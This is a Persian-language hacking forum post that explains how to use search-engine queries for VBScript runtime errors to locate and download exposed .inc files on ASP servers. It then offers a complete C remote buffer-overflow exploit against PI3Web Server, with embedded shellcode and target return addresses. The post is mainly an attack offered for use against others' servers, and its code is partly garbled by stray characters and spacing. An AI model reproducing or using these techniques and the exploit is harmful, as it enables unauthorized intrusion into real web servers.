هك سرورهاي Asp به وسيله باگ موجود در Mssql
ASP ---- BY Satanic_soulful
توضيح:
با ارائه مقاديري به فايل .asp به جاي .inc مي توان از error VBScript در ديتابيس Microsoft بهره گرفت. اين عمل را موتور ASP موجود در Altavista Search Engine با تست بر روي url هاي موجود انجام مي دهد.
مثال
در سايت altavista.com اين عبارت را جستجو كنيد
+"Microsoft VBScript runtime error" +".inc, "
+"Microsoft VBScript runtime error" +".lib, "
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
با اين روش شما مي توانيد پيغام runtime error را مشاهده كنيد كه در ادامه error شما اين چنين آدرسهايي نيز دريافت مي كنيد
كد:
includes/general.inc
/corporate/admin/include/jobs.inc
/SFLib/design.inc
include/filter.inc
scripts/IsSearchEngine.inc
and …
كه اين آدرس ها به اين صورت در error نوشته شده
Parse error on line XYZ in file /home/www/htdocs/include/filter.inc
شما آن قسمت آخر را كه در مثال بالا آمده به آدرس اصلي وصل مي كنيد. بدين شكل
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
اميدوارم موفق شويد.
PI3Web Server
اكسپلويتي توپ براي هك وب سرور PI3Web بگيريد كه روي كليه ورژن هاي اين وب سرور جواب ميده البته بايد كامپايل شود
[PHP]/*
* Synnergy Networks
* Remote overflow for PI3Web Server (all versions) for Win95/98/NT
*
* Linux/IRIX/Solaris versions exist, however I haven't tested them.
* vulnerability was posted around a week ago on bugtraq - no exploit
* code released.
*
* In short, by sending an excessively large GET request to the tstisapi.dll
* running on PI3Web, will cause an overflow in the request parsing, forcing
* a complete EIP overwrite.
*
* POC exploit tested against Win95/Win98.
*
*
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
//
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
* 2 March 2001
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <getopt.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#define PORT 80
#define BSIZE 2048
#define ADDR 1047 // 24 (query) + 1024 (A) - 1
#define MAX_TYPE 3
#define MAX_SHELL 4
int type = 0;
int shellval = -1;
typedef struct
{
char *platform;
char *type;
char *code;
} SHELLCODE;
typedef struct
{
char *platform;
char *version;
SHELLCODE *shellcode;
unsigned long ret;
} TARGET;
SHELLCODE shellcodes[] =
{
{ "Windows 9x", "description of shellcode", "Put whatever shellcode you got for 95/98 here"
},
{ "Windows 9x", "Non-intrusive shellcode: IE launcher",
"\xE8\x00\x00\x00\x00\x5D\x81\xED\x40\x10\x40\x00\ x81\xC4\x00"
"\x03\x00\x00\xB8\x38\x10\x00\x01\x8B\x00\x89\x85\ x0B\x11\x40\x00"
"\x8C\xC8\xA8\x04\x75\x08\x8B\x85\x1F\x11\x40\x00\ xEB\x06\x8B\x85"
"\x23\x11\x40\x00\x89\x85\x1F\x11\x40\x00\x8D\x8D\ x42\x11\x40\x00"
"\x51\x50\xFF\x95\x0B\x11\x40\x00\x89\x85\x0F\x11\ x40\x00\x8D\x8D"
"\x53\x11\x40\x00\x51\xFF\x95\x0F\x11\x40\x00\x8D\ x8D\x34\x11\x40"
"\x00\x51\x50\xFF\x95\x0B\x11\x40\x00\x89\x85\x13\ x11\x40\x00\x8B"
"\x85\x1F\x11\x40\x00\x8D\x8D\x27\x11\x40\x00\x51\ x50\xFF\x95\x0B"
"\x11\x40\x00\x89\x85\x17\x11\x40\x00\x8D\x85\x1B\ x11\x40\x00\x50"
"\x6A\x00\x6A\x00\x8D\x85\xE3\x10\x40\x00\x50\x6A\ x00\x6A\x00\x8B"
"\x85\x17\x11\x40\x00\xFF\xD0\xEB\xFE\x60\xE8\x00\ x00\x00\x00\x5D"
"\x81\xED\xE9\x10\x40\x00\x6A\x00\x6A\x00\x6A\x00\ x8D\xB5\x5F\x11"
"\x40\x00\x56\x6A\x00\x6A\x00\xFF\x95\x13\x11\x40\ x00\x61\xC2\x10"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\xF0\x77\x00\x00\xF7\ xBF\x43\x72\x65"
"\x61\x74\x65\x54\x68\x72\x65\x61\x64\x00\x53\x68\ x65\x6C\x6C\x45"
"\x78\x65\x63\x75\x74\x65\x41\x00\x47\x65\x74\x4D\ x6F\x64\x75\x6C"
"\x65\x48\x61\x6E\x64\x6C\x65\x41\x00\x73\x68\x65\ x6C\x6C\x33\x32"
"\x2E\x64\x6C\x6C\x00\x77\x77\x77\x2E\x75\x73\x73\ x72\x62\x61\x63"
"\x6B\x2E\x63\x6F\x6D\x00"
},
{ "Windows NT", "generic cmd.exe",
"\x8B\xC4\x83\xC0\x17\x50\xB8\x0E\xB5\xE9\x77\xFF\ xD0\x33\xDB\x53"
"\xB8\x2D\xF3\xE8\x77\xFF\xD0\x63\x6D\x64\x2E\x65\ x78\x65\x0D\x0A"
},
{ NULL, NULL, NULL }
};
TARGET targets[] =
{
{ "Microsoft Windows", "95", &shellcodes[0], 0x0432f3a4 },
{ "Microsoft Windows", "98", &shellcodes[0], 0x03c5f3a8 },
{ "Microsoft Windows", "NT", &shellcodes[2], 0xbabebabe },
{ NULL, NULL, 0, 0 }
};
void usage(char *prog)
{
int i;
printf("\nPI3Web server for Win95/98/NT remote exploit by dethy\n");
printf("Exploit by
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
- Synnergy Networks!@# - http://www.synnergy.net/n/n");
printf("Usage %s <victim> [ -t type ] [ -s shellcode ]\n", prog);
printf("\n[-t] vulnerable OS:\n");
for(i=0; targets[i].platform != NULL; i++)
printf("%d %s %s %s - 0x%x\n", i, targets[i].platform, targets[i].version, targets[i].shellcode->platform, targets[i].ret);
printf("\n[-s] shellcodes types:\n");
for(i=0; shellcodes[i].platform != NULL; i++)
printf("%d %s (%d bytes) %s\n", i , shellcodes[i].platform, strlen(shellcodes[i].code), shellcodes[i].type);
printf("\n");
exit(0);
}
int main(int argc, char **argv){
char *prog = argv[0];
char exploit[BSIZE];
struct sockaddr_in server;
struct hostent *hp;
unsigned long host;
int i, s;
int c=0;
if(argc < 2) usage(prog);
while ((c = getopt(argc, argv, "t:s:")) != EOF)
{
switch©
{
case 't':
if((atoi(optarg) < 0) || (atoi(optarg) > MAX_TYPE))
{
fprintf(stderr, "Invalid type, range is 0 to %d.\n", MAX_TYPE);
usage(prog);
}
type = atoi(optarg);
printf("type is %d, %s.\n", type, targets[type].platform);
break;
case 's':
if((atoi(optarg) < 0) || (atoi(optarg) > MAX_SHELL))
{
fprintf(stderr, "Invalid shellcode number, range is 0 to %d.\n", MAX_SHELL);
usage(prog);
}
shellval = atoi(optarg);
printf("shellcode set to %s %s\n", shellcodes[shellval].platform, shellcodes[shellval].type);
break;
default:
fprintf(stderr, "No such option.\n");
usage(prog);
break;
}
}
if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket");
return(-1);
}
if ((hp=gethostbyname(argv[1])) == NULL){
perror("gethostbyname");
return(-1);
} else {
host = *(unsigned long *)hp->h_addr;
}
server.sin_family = AF_INET;
server.sin_addr.s_addr = host;
server.sin_port = htons(PORT);
/* construct our exploit buffer */
exploit[0]= 'G';
exploit[1]= 'E';
exploit[2]= 'T';
exploit[3]= ' ';
exploit[4]= '/';
exploit[5]= 'i';
exploit[6]= 's';
exploit[7]= 'a';
exploit[8]= 'p';
exploit[9]= 'i';
exploit[10]= '/';
exploit[11]= 't';
exploit[12]= 's';
exploit[13]= 't';
exploit[14]= 'i';
exploit[15]= 's';
exploit[16]= 'a';
exploit[17]= 'p';
exploit[18]= 'i';
exploit[19]= '.';
exploit[20]= 'd';
exploit[21]= 'l';
exploit[22]= 'l';
exploit[23]= '?';
for(i=24; i<1047; i++){
exploit[i]=0x41;
}
/* win 98
exploit[1047]=0xA8;
exploit[1048]=0xF3;
exploit[1049]=0xC5;
exploit[1050]=0x03;
*/
if(shellval != -1)
{
targets[type].shellcode = &(shellcodes[shellval]);
printf("using %s shellcode\n", shellcodes[shellval].platform);
} else {
printf("using default shellcode , %s\n", targets[type].shellcode->platform);
}
exploit[ADDR] = (targets[type].ret & 0x000000ff);
exploit[ADDR+1]=(targets[type].ret & 0x0000ff00);
exploit[ADDR+2]=(targets[type].ret & 0x00ff0000);
exploit[ADDR+3]=(targets[type].ret & 0xff000000);
// exploit[ADDR+4]= 0x00;
for(i=0; i<sizeof(targets[type].shellcode->code); i++){
exploit[1053+i] = targets[type].shellcode->code;
}
if(connect(s, (struct sockaddr *)&server, sizeof(server)) < 0){
perror("connect");
return(-1);
}
printf("connected .. now sending code\n");
if(write(s, exploit, strlen(exploit)) < 0){
perror("write");
return(-1);
}
close(s);
printf("successfully sent shellcode to %s\n", argv[1]);
return(0);
}[/PHP]